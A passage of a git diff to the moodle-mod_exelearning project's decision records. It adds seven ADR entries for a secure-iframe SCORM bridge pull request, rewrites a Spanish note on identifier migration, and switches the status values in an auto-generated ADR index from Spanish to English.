+| `DEC-0059` | `DEC-80-01` | [#80](https://github.com/exelearning/moodle-mod_exelearning/issues/80) (PR) | [`adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md`](./adr/DEC-80-01-bridge-scorm-postmessage-origen-opaco.md) |
+| `DEC-0060` | `DEC-80-02` | [#80](https://github.com/exelearning/moodle-mod_exelearning/issues/80) (PR) | [`adr/DEC-80-02-iframe-seguro-tokenpluginfile.md`](./adr/DEC-80-02-iframe-seguro-tokenpluginfile.md) |
+| `DEC-0061` | `DEC-80-03` | [#80](https://github.com/exelearning/moodle-mod_exelearning/issues/80) (PR) | [`adr/DEC-80-03-embeds-externos-promote-to-parent.md`](./adr/DEC-80-03-embeds-externos-promote-to-parent.md) |
+| `DEC-0062` | `DEC-80-04` | [#80](https://github.com/exelearning/moodle-mod_exelearning/issues/80) (PR) | [`adr/DEC-80-04-fix-pipwerks-get-api-local-origen-opaco.md`](./adr/DEC-80-04-fix-pipwerks-get-api-local-origen-opaco.md) |
+| `DEC-0069` | `DEC-80-05` | [#80](https://github.com/exelearning/moodle-mod_exelearning/issues/80) (PR) | [`adr/DEC-80-05-xapi-bridge-seguro-identidad-ventana.md`](./adr/DEC-80-05-xapi-bridge-seguro-identidad-ventana.md) |
+| `DEC-0070` | `DEC-80-06` | [#80](https://github.com/exelearning/moodle-mod_exelearning/issues/80) (PR) | [`adr/DEC-80-06-teacher-mode-parametro-core-exe-teacher.md`](./adr/DEC-80-06-teacher-mode-parametro-core-exe-teacher.md) |
+| `DEC-0071` | `DEC-80-07` | [#80](https://github.com/exelearning/moodle-mod_exelearning/issues/80) (PR) | [`adr/DEC-80-07-estrategia-unificada-media-externo-opaco.md`](./adr/DEC-80-07-estrategia-unificada-media-externo-opaco.md) |
 | `DEC-0064` | `DEC-85-01` | [#85](https://github.com/exelearning/moodle-mod_exelearning/issues/85) (PR) | [`adr/DEC-85-01-implementacion-ingesta-xapi.md`](./adr/DEC-85-01-implementacion-ingesta-xapi.md) |
 | `DEC-0065` | `DEC-106-01` | [#106](https://github.com/exelearning/moodle-mod_exelearning/issues/106) (PR) | [`adr/DEC-106-01-editor-empaquetado-solo-en-release.md`](./adr/DEC-106-01-editor-empaquetado-solo-en-release.md) |
 | `DEC-0066` | `DEC-108-01` | [#108](https://github.com/exelearning/moodle-mod_exelearning/issues/108) (PR) | [`adr/DEC-108-01-interruptor-global-editor-embebido.md`](./adr/DEC-108-01-interruptor-global-editor-embebido.md) |
@@ -157,10 +164,12 @@ La validación permite identificadores retirados en:
 | `research/tareas/diario/2026-06-17-adr-validacion-xapi-y-2.0.yaml` | registro histórico de la colisión `DEC-0059`/`DEC-0-18` que motivó retirar el contador |
 | cualquier línea `legacy_id:` | el campo existe precisamente para eso |
 
-## Identificadores reservados en ramas abiertas
+## Registros migrados en la rama del iframe seguro
 
 El PR [#80](https://github.com/exelearning/moodle-mod_exelearning/pull/80)
-(`feature/secure-iframe-scorm-bridge`) añade siete registros más con la numeración
-retirada y ya ha sobrevivido a una colisión del contador global (sus `DEC-0065`…`DEC-0067`
-se renumeraron a `DEC-0069`…`DEC-0071` cuando `main` reclamó ese rango). Esa rama migra
-sus propios identificadores en su propia rama; aquí no se tocan.
+(`feature/secure-iframe-scorm-bridge`) traía siete registros con la numeración retirada, y
+ya había sobrevivido a una colisión del contador global (sus `DEC-0065`…`DEC-0067` se
+renumeraron a `DEC-0069`…`DEC-0071` cuando `main` reclamó ese rango). Esa rama migró sus
+propios identificadores a `DEC-80-01`…`DEC-80-07`, listados en la tabla de arriba; la
+colisión que sufrieron es justamente lo que la numeración por número de seguimiento
+elimina, porque `80` sólo lo comparten los registros de ese mismo PR.
diff --git a/research/docs/indices/adrs.yaml b/research/docs/indices/adrs.yaml
index a263e23..0210dc9 100644
--- a/research/docs/indices/adrs.yaml
+++ b/research/docs/indices/adrs.yaml
@@ -1,66 +1,73 @@
 # Índice autogenerado por tools/build_indexes.py — no editar a mano.
 items:
-  - id: 'DEC-0-01', titulo: 'Metodología de evidencia y ADRs para mod_exelearning', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-01-metodologia-evidencia.md'
-  - id: 'DEC-0-02', titulo: 'Política de clones externos y compatibilidad de licencias', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-02-politica-clones-externos.md'
-  - id: 'DEC-0-03', titulo: 'Estándar de tracking y registro de múltiples grade items', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-03-estandar-tracking-y-multi-grade-items.md'
-  - id: 'DEC-0-04', titulo: 'Build, empaquetado y CI: Makefile heredado + moodle-plugin-ci con matriz Moodle/PHP/DB', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-04-build-empaquetado-ci-tests.md'
+  - id: 'DEC-0-01', titulo: 'Metodología de evidencia y ADRs para mod_exelearning', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-01-metodologia-evidencia.md'
+  - id: 'DEC-0-02', titulo: 'Política de clones externos y compatibilidad de licencias', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-02-politica-clones-externos.md'
+  - id: 'DEC-0-03', titulo: 'Estándar de tracking y registro de múltiples grade items', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-03-estandar-tracking-y-multi-grade-items.md'
+  - id: 'DEC-0-04', titulo: 'Build, empaquetado y CI: Makefile heredado + moodle-plugin-ci con matriz Moodle/PHP/DB', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-04-build-empaquetado-ci-tests.md'
   - id: 'DEC-0-05', titulo: 'Editor eXeLearning embebido: heredar la maquinaria de mod_exeweb', estado: 'Superseded', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-05-editor-embebido-exelearning.md'
-  - id: 'DEC-0-06', titulo: 'Modos de visualización: preview (test) y grading (calificar)', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-06-modos-preview-grading.md'
-  - id: 'DEC-0-07', titulo: 'Gestión de intentos: tabla propia + modelo h5pactivity (no SCORM)', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-07-gestion-intentos.md'
-  - id: 'DEC-0-08', titulo: "Agregación de grade items: por iDevice (default) o nota global (modo 'ambas' eliminado, rev. 2026-05-29)", estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-08-grade-aggregation-y-feedback.md'
-  - id: 'DEC-0-09', titulo: 'Sólo modo editor embebido. Sin integración eXeLearning Online', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-09-solo-editor-embebido.md'
-  - id: 'DEC-0-10', titulo: 'Condiciones de finalización estilo SCORM (aprobar para completar)', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-10-finalizacion-estilo-scorm.md'
-  - id: 'DEC-0-11', titulo: 'Presentación de intentos en la portada de la actividad: resumen SCORM, resumen-profesor estilo Tarea, o valor estilo H5P', estado: 'Aceptada', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-11-presentacion-intentos-portada.md'
-  - id: 'DEC-0-12', titulo: 'Re-escaneo de iDevices y re-sincronización del libro tras guardar en el editor embebido', estado: 'Aceptada', fecha: '2026-05-29', ruta: 'decisiones/adr/DEC-0-12-resync-libro-tras-guardar-editor.md'
-  - id: 'DEC-0-13', titulo: '¿Integrar el editor eXeLearning Online o quedarnos solo con el embebido?', estado: 'Aceptada', fecha: '2026-05-29', ruta: 'decisiones/adr/DEC-0-13-editor-online-vs-embebido.md'
-  - id: 'DEC-0-14', titulo: 'Soporte xAPI: qué haría falta en eXeLearning y en mod_exelearning, y si compensa', estado: 'Aceptada', fecha: '2026-05-29', ruta: 'decisiones/adr/DEC-0-14-soporte-xapi.md'
-  - id: 'DEC-0-15', titulo: '¿Merece la pena la multicalificación (N grade items por iDevice)? Justificación, DAFO y comparativa', estado: 'Aceptada', fecha: '2026-05-29', ruta: 'decisiones/adr/DEC-0-15-justificacion-multicalificacion.md'
-  - id: 'DEC-0-16', titulo: 'Aislamiento del paquete .elpx (RIE-001): análisis, paridad con core y roadmap', estado: 'Aceptada', fecha: '2026-06-02', ruta: 'decisiones/adr/DEC-0-16-aislamiento-paquete-elpx.md'
-  - id: 'DEC-0-17', titulo: 'Mantener contenttype_exelearning como plugin separado de mod_exelearning (no fusionar)', estado: 'Aceptada', fecha: '2026-06-08', ruta: 'decisiones/adr/DEC-0-17-contenttype-exelearning-plugin-separado.md'
-  - id: 'DEC-0-18', titulo: 'Reglas de validación canónica del endpoint xAPI y política de versión (1.0.3 con tolerancia a 2.0)', estado: 'Propuesta', fecha: '2026-06-17', ruta: 'decisiones/adr/DEC-0-18-validacion-canonica-endpoint-xapi-y-version.md'
-  - id: 'DEC-4-01', titulo: 'Auditoría de seguridad y corrección multi-agente: 21 hallazgos (18 corregidos, 3 diferidos)', estado: 'Aceptada', fecha: '2026-06-01', ruta: 'decisiones/adr/DEC-4-01-auditoria-seguridad-correccion.md'
-  - id: 'DEC-5-01', titulo: 'Ruteo de calificaciones por objectid estable (mis-ruteo N→itemnumber, RIE-007)', estado: 'Aceptada', fecha: '2026-06-01', ruta: 'decisiones/adr/DEC-5-01-mapeo-objectid-calificacion.md'
-  - id: 'DEC-6-01', titulo: 'Recálculo del overall desde itemscores (cierre residuo RIE-007) + hardening menor', estado: 'Aceptada', fecha: '2026-06-01', ruta: 'decisiones/adr/DEC-6-01-recalculo-overall-y-hardening.md'
-  - id: 'DEC-11-01', titulo: 'Traducciones es/ca/eu/gl: reuso de hermanos + marca «~» para traducción automática pendiente de revisión', estado: 'Aceptada', fecha: '2026-06-02', ruta: 'decisiones/adr/DEC-11-01-traducciones-marca-tilde.md'
-  - id: 'DEC-12-01', titulo: 'Edición de contenido calificable: semántica snapshot + aviso al profesor (estilo SCORM)', estado: 'Aceptada', fecha: '2026-06-02', ruta: 'decisiones/adr/DEC-12-01-edicion-contenido-calificable.md'
-  - id: 'DEC-13-01', titulo: 'Detección de iDevices calificables por el flag isScorm (issue #13 #2 y #5)', estado: 'Aceptada', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-01-deteccion-calificable-por-isscorm.md'
-  - id: 'DEC-13-02', titulo: 'Deep-link desde el gradebook al iDevice vía grade.php (issue #13 #4)', estado: 'Aceptada', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-02-deeplink-gradebook-grade-php.md'
-  - id: 'DEC-13-03', titulo: 'Crear .elpx desde cero (paquete opcional) y control de pantalla completa (issue #13 #1 y #6)', estado: 'Aceptada', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-03-crear-desde-cero-y-pantalla-completa.md'
+  - id: 'DEC-0-06', titulo: 'Modos de visualización: preview (test) y grading (calificar)', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-06-modos-preview-grading.md'
+  - id: 'DEC-0-07', titulo: 'Gestión de intentos: tabla propia + modelo h5pactivity (no SCORM)', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-07-gestion-intentos.md'
+  - id: 'DEC-0-08', titulo: "Agregación de grade items: por iDevice (default) o nota global (modo 'ambas' eliminado, rev. 2026-05-29)", estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-08-grade-aggregation-y-feedback.md'
+  - id: 'DEC-0-09', titulo: 'Sólo modo editor embebido. Sin integración eXeLearning Online', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-09-solo-editor-embebido.md'
+  - id: 'DEC-0-10', titulo: 'Condiciones de finalización estilo SCORM (aprobar para completar)', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-10-finalizacion-estilo-scorm.md'
+  - id: 'DEC-0-11', titulo: 'Presentación de intentos en la portada de la actividad: resumen SCORM, resumen-profesor estilo Tarea, o valor estilo H5P', estado: 'Accepted', fecha: '2026-05-28', ruta: 'decisiones/adr/DEC-0-11-presentacion-intentos-portada.md'
+  - id: 'DEC-0-12', titulo: 'Re-escaneo de iDevices y re-sincronización del libro tras guardar en el editor embebido', estado: 'Accepted', fecha: '2026-05-29', ruta: 'decisiones/adr/DEC-0-12-resync-libro-tras-guardar-editor.md'
+  - id: 'DEC-0-13', titulo: '¿Integrar el editor eXeLearning Online o quedarnos solo con el embebido?', estado: 'Accepted', fecha: '2026-05-29', ruta: 'decisiones/adr/DEC-0-13-editor-online-vs-embebido.md'
+  - id: 'DEC-0-14', titulo: 'Soporte xAPI: qué haría falta en eXeLearning y en mod_exelearning, y si compensa', estado: 'Accepted', fecha: '2026-05-29', ruta: 'decisiones/adr/DEC-0-14-soporte-xapi.md'
+  - id: 'DEC-0-15', titulo: '¿Merece la pena la multicalificación (N grade items por iDevice)? Justificación, DAFO y comparativa', estado: 'Accepted', fecha: '2026-05-29', ruta: 'decisiones/adr/DEC-0-15-justificacion-multicalificacion.md'
+  - id: 'DEC-0-16', titulo: 'Aislamiento del paquete .elpx (RIE-001): análisis, paridad con core y roadmap', estado: 'Accepted', fecha: '2026-06-02', ruta: 'decisiones/adr/DEC-0-16-aislamiento-paquete-elpx.md'
+  - id: 'DEC-0-17', titulo: 'Mantener contenttype_exelearning como plugin separado de mod_exelearning (no fusionar)', estado: 'Accepted', fecha: '2026-06-08', ruta: 'decisiones/adr/DEC-0-17-contenttype-exelearning-plugin-separado.md'
+  - id: 'DEC-0-18', titulo: 'Reglas de validación canónica del endpoint xAPI y política de versión (1.0.3 con tolerancia a 2.0)', estado: 'Proposed', fecha: '2026-06-17', ruta: 'decisiones/adr/DEC-0-18-validacion-canonica-endpoint-xapi-y-version.md'
+  - id: 'DEC-4-01', titulo: 'Auditoría de seguridad y corrección multi-agente: 21 hallazgos (18 corregidos, 3 diferidos)', estado: 'Accepted', fecha: '2026-06-01', ruta: 'decisiones/adr/DEC-4-01-auditoria-seguridad-correccion.md'
+  - id: 'DEC-5-01', titulo: 'Ruteo de calificaciones por objectid estable (mis-ruteo N→itemnumber, RIE-007)', estado: 'Accepted', fecha: '2026-06-01', ruta: 'decisiones/adr/DEC-5-01-mapeo-objectid-calificacion.md'
+  - id: 'DEC-6-01', titulo: 'Recálculo del overall desde itemscores (cierre residuo RIE-007) + hardening menor', estado: 'Accepted', fecha: '2026-06-01', ruta: 'decisiones/adr/DEC-6-01-recalculo-overall-y-hardening.md'
+  - id: 'DEC-11-01', titulo: 'Traducciones es/ca/eu/gl: reuso de hermanos + marca «~» para traducción automática pendiente de revisión', estado: 'Accepted', fecha: '2026-06-02', ruta: 'decisiones/adr/DEC-11-01-traducciones-marca-tilde.md'
+  - id: 'DEC-12-01', titulo: 'Edición de contenido calificable: semántica snapshot + aviso al profesor (estilo SCORM)', estado: 'Accepted', fecha: '2026-06-02', ruta: 'decisiones/adr/DEC-12-01-edicion-contenido-calificable.md'
+  - id: 'DEC-13-01', titulo: 'Detección de iDevices calificables por el flag isScorm (issue #13 #2 y #5)', estado: 'Accepted', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-01-deteccion-calificable-por-isscorm.md'
+  - id: 'DEC-13-02', titulo: 'Deep-link desde el gradebook al iDevice vía grade.php (issue #13 #4)', estado: 'Accepted', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-02-deeplink-gradebook-grade-php.md'
+  - id: 'DEC-13-03', titulo: 'Crear .elpx desde cero (paquete opcional) y control de pantalla completa (issue #13 #1 y #6)', estado: 'Accepted', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-03-crear-desde-cero-y-pantalla-completa.md'
   - id: 'DEC-13-04', titulo: 'Importar actividades desde mod_exeweb y mod_exescorm (issue #13 #3)', estado: 'Superseded', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-04-importar-desde-exeweb-exescorm.md'
-  - id: 'DEC-13-05', titulo: 'Migración masiva de mod_exeweb/mod_exescorm desde los Ajustes del plugin (issue #13 #3)', estado: 'Aceptada', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-05-migracion-masiva-desde-ajustes.md'
-  - id: 'DEC-13-06', titulo: "Enlaces del libro de calificaciones: análisis y destino del 'grade analysis' (issue #13 #4)", estado: 'Aceptada', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-06-enlaces-libro-calificaciones.md'
-  - id: 'DEC-13-07', titulo: "Interruptor 'Calificable' por actividad (issue #13)", estado: 'Aceptada', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-07-interruptor-calificable-por-actividad.md'
+  - id: 'DEC-13-05', titulo: 'Migración masiva de mod_exeweb/mod_exescorm desde los Ajustes del plugin (issue #13 #3)', estado: 'Accepted', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-05-migracion-masiva-desde-ajustes.md'
+  - id: 'DEC-13-06', titulo: "Enlaces del libro de calificaciones: análisis y destino del 'grade analysis' (issue #13 #4)", estado: 'Accepted', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-06-enlaces-libro-calificaciones.md'
+  - id: 'DEC-13-07', titulo: "Interruptor 'Calificable' por actividad (issue #13)", estado: 'Accepted', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-07-interruptor-calificable-por-actividad.md'
   - id: 'DEC-13-08', titulo: "Versión 'sentinela' (9999999999/dev) en main; la versión real la inyecta make package (issue #13)", estado: 'Superseded', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-08-version-sentinela-en-main.md'
-  - id: 'DEC-13-09', titulo: "Separar el formulario del recurso en 'Grading' y 'Attempts management' (issue #13)", estado: 'Aceptada', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-09-split-grading-attempts-formulario.md'
-  - id: 'DEC-13-10', titulo: 'Detección de isScorm también en el DataGame cifrado (issue #13: solo 12 de 30)', estado: 'Aceptada', fecha: '2026-06-08', ruta: 'decisiones/adr/DEC-13-10-deteccion-isscorm-en-datagame-cifrado.md'
-  - id: 'DEC-13-11', titulo: 'Parchear al servir el guard de guardado de form/scrambled-list (embebedor-side de exelearning#1925)', estado: 'Aceptada', fecha: '2026-06-09', ruta: 'decisiones/adr/DEC-13-11-parche-save-guard-form-scrambled.md'
-  - id: 'DEC-13-12', titulo: 'La herramienta de migración exeweb/exescorm vive en mod_exelearning: endurecimiento (itemid=revision, clasificación exescorm, limpieza compensatoria, metadatos, preflight, eventos)', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-13-12-herramienta-migracion-en-mod-exelearning.md'
-  - id: 'DEC-16-01', titulo: 'Aceptar también .zip (con content.xml) además de .elpx en la subida', estado: 'Aceptada', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-16-01-aceptar-zip-con-content-xml.md'
-  - id: 'DEC-17-01', titulo: 'Ingesta dual de tracking: shim SCORM 1.2 + xAPI (exe_xapi.js) sobre una tubería común', estado: 'Propuesta', fecha: '2026-06-04', ruta: 'decisiones/adr/DEC-17-01-ingesta-dual-scorm-xapi.md'
-  - id: 'DEC-18-01', titulo: 'Actualización de contenido: reemplazo del paquete .elpx y origen por URL con sincronización', estado: 'Propuesta', fecha: '2026-06-04', ruta: 'decisiones/adr/DEC-18-01-actualizacion-paquete-y-origen-url.md'
-  - id: 'DEC-19-01', titulo: 'Selector de categoría de calificación por actividad (gradecat) aplicado a todos los grade items vía set_parent', estado: 'Aceptada', fecha: '2026-06-04', ruta: 'decisiones/adr/DEC-19-01-categoria-de-calificacion.md'
+  - id: 'DEC-13-09', titulo: "Separar el formulario del recurso en 'Grading' y 'Attempts management' (issue #13)", estado: 'Accepted', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-13-09-split-grading-attempts-formulario.md'
+  - id: 'DEC-13-10', titulo: 'Detección de isScorm también en el DataGame cifrado (issue #13: solo 12 de 30)', estado: 'Accepted', fecha: '2026-06-08', ruta: 'decisiones/adr/DEC-13-10-deteccion-isscorm-en-datagame-cifrado.md'
+  - id: 'DEC-13-11', titulo: 'Parchear al servir el guard de guardado de form/scrambled-list (embebedor-side de exelearning#1925)', estado: 'Accepted', fecha: '2026-06-09', ruta: 'decisiones/adr/DEC-13-11-parche-save-guard-form-scrambled.md'
+  - id: 'DEC-13-12', titulo: 'La herramienta de migración exeweb/exescorm vive en mod_exelearning: endurecimiento (itemid=revision, clasificación exescorm, limpieza compensatoria, metadatos, preflight, eventos)', estado: 'Accepted', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-13-12-herramienta-migracion-en-mod-exelearning.md'
+  - id: 'DEC-16-01', titulo: 'Aceptar también .zip (con content.xml) además de .elpx en la subida', estado: 'Accepted', fecha: '2026-06-03', ruta: 'decisiones/adr/DEC-16-01-aceptar-zip-con-content-xml.md'
+  - id: 'DEC-17-01', titulo: 'Ingesta dual de tracking: shim SCORM 1.2 + xAPI (exe_xapi.js) sobre una tubería común', estado: 'Proposed', fecha: '2026-06-04', ruta: 'decisiones/adr/DEC-17-01-ingesta-dual-scorm-xapi.md'
+  - id: 'DEC-18-01', titulo: 'Actualización de contenido: reemplazo del paquete .elpx y origen por URL con sincronización', estado: 'Proposed', fecha: '2026-06-04', ruta: 'decisiones/adr/DEC-18-01-actualizacion-paquete-y-origen-url.md'
+  - id: 'DEC-19-01', titulo: 'Selector de categoría de calificación por actividad (gradecat) aplicado a todos los grade items vía set_parent', estado: 'Accepted', fecha: '2026-06-04', ruta: 'decisiones/adr/DEC-19-01-categoria-de-calificacion.md'
   - id: 'DEC-19-02', titulo: 'Coherencia profesor/alumno en peritem: excluir la nota overall oculta de la agregación para no vaciar el total del alumno', estado: 'Superseded', fecha: '2026-06-04', ruta: 'decisiones/adr/DEC-19-02-visibilidad-notas-alumno-peritem.md'
-  - id: 'DEC-25-01', titulo: 'Sin columna overall en peritem: el libro muestra solo las columnas por-iDevice (modelo workshop para la finalización)', estado: 'Aceptada', fecha: '2026-06-08', ruta: 'decisiones/adr/DEC-25-01-sin-columna-overall-en-peritem.md'
-  - id: 'DEC-26-01', titulo: 'Parser de content.xml híbrido (DOM para estructura + descifrado/hash conservados)', estado: 'Aceptada', fecha: '2026-06-09', ruta: 'decisiones/adr/DEC-26-01-parser-content-xml-hibrido-dom.md'
-  - id: 'DEC-26-02', titulo: 'API externa / móvil (servicios MOODLE_OFFICIAL_MOBILE_SERVICE + save_track)', estado: 'Aceptada', fecha: '2026-06-09', ruta: 'decisiones/adr/DEC-26-02-mobile-external-api.md'
-  - id: 'DEC-26-03', titulo: 'Eventos selectivos de trazabilidad (sin ruido de tracking)', estado: 'Aceptada', fecha: '2026-06-09', ruta: 'decisiones/adr/DEC-26-03-eventos-selectivos.md'
-  - id: 'DEC-29-01', titulo: 'Detectar GeoGebra calificable por la clase auto-geogebra-scorm', estado: 'Aceptada', fecha: '2026-06-10', ruta: 'decisiones/adr/DEC-29-01-deteccion-geogebra-auto-scorm.md'
-  - id: 'DEC-34-01', titulo: 'Auditoría de bugs críticos (workflow multi-agente) y correcciones por temas', estado: 'Aceptada', fecha: '2026-06-10', ruta: 'decisiones/adr/DEC-34-01-auditoria-bugs-criticos.md'
-  - id: 'DEC-34-02', titulo: 'Transformación del paquete en tiempo de servido (eliminar la reescritura del HTML en extracción)', estado: 'Propuesta', fecha: '2026-06-10', ruta: 'decisiones/adr/DEC-34-02-transformacion-en-servido.md'
-  - id: 'DEC-36-01', titulo: 'Inyecciones SCORM-loader y teacher-mode: corrección en el plugin vs upstream en eXeLearning', estado: 'Aceptada', fecha: '2026-06-10', ruta: 'decisiones/adr/DEC-36-01-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md'
-  - id: 'DEC-37-01', titulo: 'Clasificación funcional del módulo: mantener MOD_ARCHETYPE_ASSIGNMENT + MOD_PURPOSE_ASSESSMENT', estado: 'Aceptada', fecha: '2026-06-11', ruta: 'decisiones/adr/DEC-37-01-clasificacion-funcional-archetype-purpose.md'
-  - id: 'DEC-66-01', titulo: 'Estrategia de cobertura de tests: mockear en lugar de excluir, medir con xdebug y gatear con trinquete', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-66-01-estrategia-cobertura-tests.md'
-  - id: 'DEC-67-01', titulo: 'Auditoría estándar de repositorio (2026-06-11): 9 mejoras implementadas + hallazgos descartados', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-67-01-auditoria-estandar-mejoras-2026-06.md'
-  - id: 'DEC-68-01', titulo: 'Eventos de ciclo de vida del intento (attempt_started / attempt_completed), uno por intento', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-68-01-eventos-ciclo-de-vida-intento.md'
-  - id: 'DEC-69-01', titulo: 'Regla de finalización personalizada por estado (completionstatusrequired)', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-69-01-completion-por-estado.md'
-  - id: 'DEC-70-01', titulo: 'Integración con la búsqueda global de Moodle (área de búsqueda + indexado de ficheros)', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-70-01-busqueda-global.md'
-  - id: 'DEC-71-01', titulo: 'Extracción de la lógica de lib.php a clases por responsabilidad (grades/*, local/scorm/*, package_manager, urls)', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-71-01-extraccion-lib-php.md'
-  - id: 'DEC-72-01', titulo: 'Auditoría follow-up post-refactor (#71): 8 mejoras implementadas + 1 hallazgo descartado por decisión previa', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-72-01-auditoria-followup-post-refactor.md'
-  - id: 'DEC-74-01', titulo: 'Tests JS del tracker SCORM con Vitest; extracción del shim de view.php a js/scorm_tracker.js (fuente única, inyección inline)', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-74-01-tests-js-tracker-scorm-vitest.md'
-  - id: 'DEC-77-01', titulo: 'Extracción de paquete no-destructiva: validar la nueva revisión antes de podar la anterior (issue 73)', estado: 'Aceptada', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-77-01-extraccion-no-destructiva.md'
-  - id: 'DEC-78-01', titulo: 'Build de release reproducible: fijar el editor al tag homónimo (semver-match), no a la rama main', estado: 'Aceptada', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-78-01-fijar-editor-tag-en-release.md'
-  - id: 'DEC-85-01', titulo: 'Implementación de la ingesta xAPI (TAREA-015): xAPI-primary para paquetes nuevos, SCORM inerte, overall desde el statement de paquete, siempre activo', estado: 'Aceptada', fecha: '2026-06-18', ruta: 'decisiones/adr/DEC-85-01-implementacion-ingesta-xapi.md'
-  - id: 'DEC-106-01', titulo: 'Editor embebido exclusivamente empaquetado en la release: eliminar el instalador/actualizador en runtime', estado: 'Aceptada', fecha: '2026-07-24', ruta: 'decisiones/adr/DEC-106-01-editor-empaquetado-solo-en-release.md'
-  - id: 'DEC-108-01', titulo: 'Interruptor global del editor embebido: modo reproductor puro vía ajuste de sitio', estado: 'Aceptada', fecha: '2026-07-24', ruta: 'decisiones/adr/DEC-108-01-interruptor-global-editor-embebido.md'
-  - id: 'DEC-110-01', titulo: 'La página de estilos queda como endpoint de acciones: se elimina el gestor visible duplicado', estado: 'Aceptada', fecha: '2026-07-24', ruta: 'decisiones/adr/DEC-110-01-pagina-estilos-solo-endpoint.md'
-  - id: 'DEC-111-01', titulo: 'Versión Moodle real y monótona en main: fin del centinela; el empaquetado valida y nunca reescribe', estado: 'Aceptada', fecha: '2026-07-24', ruta: 'decisiones/adr/DEC-111-01-version-real-monotona-en-main.md'
+  - id: 'DEC-25-01', titulo: 'Sin columna overall en peritem: el libro muestra solo las columnas por-iDevice (modelo workshop para la finalización)', estado: 'Accepted', fecha: '2026-06-08', ruta: 'decisiones/adr/DEC-25-01-sin-columna-overall-en-peritem.md'
+  - id: 'DEC-26-01', titulo: 'Parser de content.xml híbrido (DOM para estructura + descifrado/hash conservados)', estado: 'Accepted', fecha: '2026-06-09', ruta: 'decisiones/adr/DEC-26-01-parser-content-xml-hibrido-dom.md'
+  - id: 'DEC-26-02', titulo: 'API externa / móvil (servicios MOODLE_OFFICIAL_MOBILE_SERVICE + save_track)', estado: 'Accepted', fecha: '2026-06-09', ruta: 'decisiones/adr/DEC-26-02-mobile-external-api.md'
+  - id: 'DEC-26-03', titulo: 'Eventos selectivos de trazabilidad (sin ruido de tracking)', estado: 'Accepted', fecha: '2026-06-09', ruta: 'decisiones/adr/DEC-26-03-eventos-selectivos.md'
+  - id: 'DEC-29-01', titulo: 'Detectar GeoGebra calificable por la clase auto-geogebra-scorm', estado: 'Accepted', fecha: '2026-06-10', ruta: 'decisiones/adr/DEC-29-01-deteccion-geogebra-auto-scorm.md'
+  - id: 'DEC-34-01', titulo: 'Auditoría de bugs críticos (workflow multi-agente) y correcciones por temas', estado: 'Accepted', fecha: '2026-06-10', ruta: 'decisiones/adr/DEC-34-01-auditoria-bugs-criticos.md'
+  - id: 'DEC-34-02', titulo: 'Transformación del paquete en tiempo de servido (eliminar la reescritura del HTML en extracción)', estado: 'Proposed', fecha: '2026-06-10', ruta: 'decisiones/adr/DEC-34-02-transformacion-en-servido.md'
+  - id: 'DEC-36-01', titulo: 'Inyecciones SCORM-loader y teacher-mode: corrección en el plugin vs upstream en eXeLearning', estado: 'Accepted', fecha: '2026-06-10', ruta: 'decisiones/adr/DEC-36-01-inyecciones-scorm-teacher-mode-plugin-vs-upstream.md'
